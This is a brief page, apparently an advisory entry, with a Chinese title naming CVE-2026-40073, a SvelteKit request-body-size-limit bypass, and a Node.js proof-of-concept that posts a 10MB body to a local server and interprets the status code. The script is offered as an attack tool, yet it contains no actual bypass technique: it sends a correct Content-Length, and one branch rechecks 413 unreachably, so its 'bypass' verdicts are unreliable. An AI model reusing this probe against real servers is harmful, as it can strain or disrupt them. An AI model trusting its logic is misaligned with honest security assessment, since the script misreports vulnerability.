CVE-2026-40073 SvelteKit请求体限制绕过漏洞

// PoC for SvelteKit BODY_SIZE_LIMIT Bypass (CVE-2026-40073) // This script attempts to send a request body larger than the configured limit. // If the bypass works, the server accepts the payload instead of returning 413. const http = require('http'); const targetHost = 'localhost'; const targetPort = 3000; // Assuming the limit is set to 1MB, sending 10MB const largeBody = 'A'.repeat(10 * 1024 * 1024); const options = { hostname: targetHost, port: targetPort, path: '/', method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(largeBody), 'Connection': 'close' } }; const req = http.request(options, (res) => { console.log(`Status Code: ${res.statusCode}`); if (res.statusCode === 413) { console.log('[-] Failed: Limit enforced correctly.'); } else if (res.statusCode === 200 || res.statusCode === 500 || res.statusCode === 413) { // Note: 200/500 might indicate processing of large body (Bypass) // 413 might come from Nginx/Platform, not SvelteKit console.log('[+] Potential Bypass: Server processed the request or returned unexpected status.'); } res.resume(); }); req.on('error', (e) => { console.error(`Request error: ${e.message}`); }); req.write(largeBody); req.end();